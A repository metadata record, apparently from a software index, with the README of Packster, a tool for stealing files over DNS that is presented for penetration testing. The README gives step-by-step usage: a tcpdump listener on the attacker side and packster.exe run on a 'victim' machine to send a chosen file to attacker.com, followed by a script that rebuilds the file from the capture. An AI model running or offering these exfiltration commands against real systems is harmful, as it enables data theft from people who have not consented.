{"id":27157784,"url":"https://github.com/sayan690/packster","last_synced_at":"2025-04-08T21:44:30.557Z","repository":{"id":265055244,"uuid":"894958720","full_name":"Sayan690/Packster","owner":"Sayan690","description":"A DNS Based Python Data Exfiltrator","archived":false,"fork":false,"pushed_at":"2025-03-28T07:20:34.000Z","size":12612,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-28T08:26:48.986Z","etag":null,"topics":["dns","exfiltration","python"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Sayan690.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-11-27T10:03:41.000Z","updated_at":"2025-03-28T07:20:37.000Z","dependencies_parsed_at":"2024-11-27T12:37:22.609Z","dependency_job_id":null,"html_url":"https://github.com/Sayan690/Packster","commit_stats":null,"previous_names":["sayan690/packster"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FPackster","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FPackster/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FPackster/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sayan690%2FPackster/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Sayan690","download_url":"https://codeload.github.com/Sayan690/Packster/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247934807,"owners_count":21020724,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dns","exfiltration","python"],"created_at":"2025-04-08T21:44:30.034Z","updated_at":"2025-04-08T21:44:30.539Z","avatar_url":"https://github.com/Sayan690.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# PACKSTER\n\n## Overview\nPACKSTER is a powerful exfiltration tool designed for demonstrating efficient data exfiltration and security testing. It allows for controlled and stealthy data exfiltration by utilizing DNS queries, making it a valuable tool for cybersecurity professionals and penetration testers.\n\n## Features\n- Fast and reliable data exfiltration\n- Supports multiple transport methods\n- Customizable payload handling\n- Stealth mode for evasion techniques\n- Logging and error handling for debugging\n\n## Watch The Demo\n\n[![Packster Demo](https://raw.githubusercontent.com/Sayan690/Packster/refs/heads/main/resources/packster.png)](https://www.youtube.com/watch?v=rXOXy-RJSDQ)\n\n## Installation\n### Prerequisites\nEnsure you have Python installed on your system. PACKSTER requires Python 3.x.\n\n### Clone The Repository\n```bash\ngit clone https://github.com/Sayan690/packster.git\ncd packster\n```\n\n### Get The [Release Binaries](https://github.com/Sayan690/Packster/releases/)\n\nOR\n\n### Compile It Locally\n\nRequirements - pyinstaller\n\n#### Clone The Repository\n```bash\ngit clone https://github.com/Sayan690/packster.git\ncd packster\n```\n\n#### Compile Using Pyinstaller\n\n```bash\npyinstaller -F packety.py --icon=resources/packster.ico\n```\n\n### Install Dependencies\n```bash\npip install -r requirements.txt\n```\n\n## Usage\nTo run PACKSTER, follow these steps:\n\n- Start the listener on the attacker side\n\n```bash\ntcpdump -i any -w capture.pcap\n```\n\n- Transfer the [packster binary](https://github.com/Sayan690/Packster/releases/) to the victim side and execute\n\n```bash\n.\\packster.exe -f C:\\Path\\To\\File -a attacker.com\n\n./packster.exe -f /Path/To/File -a 10.10.10.10\n```\n\n- After the process exits printing \"done.\", exit out from tcpdump, and run `filtrz.py`\n\n```bash\npython3 filtrz.py -a attacker.com -c capture.pcap -o output_file_name.txt\n```\n\n## Disclaimer\nPACKSTER is intended for educational and security testing purposes only. The author is not responsible for any misuse of this tool.\n\n## Author\nDeveloped by **Sayan Ray** [@BareBones90](https://x.com/BareBones90)\n\n## License\nThis project is licensed under the MIT License - see the LICENSE file for details.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsayan690%2Fpackster","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsayan690%2Fpackster","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsayan690%2Fpackster/lists"}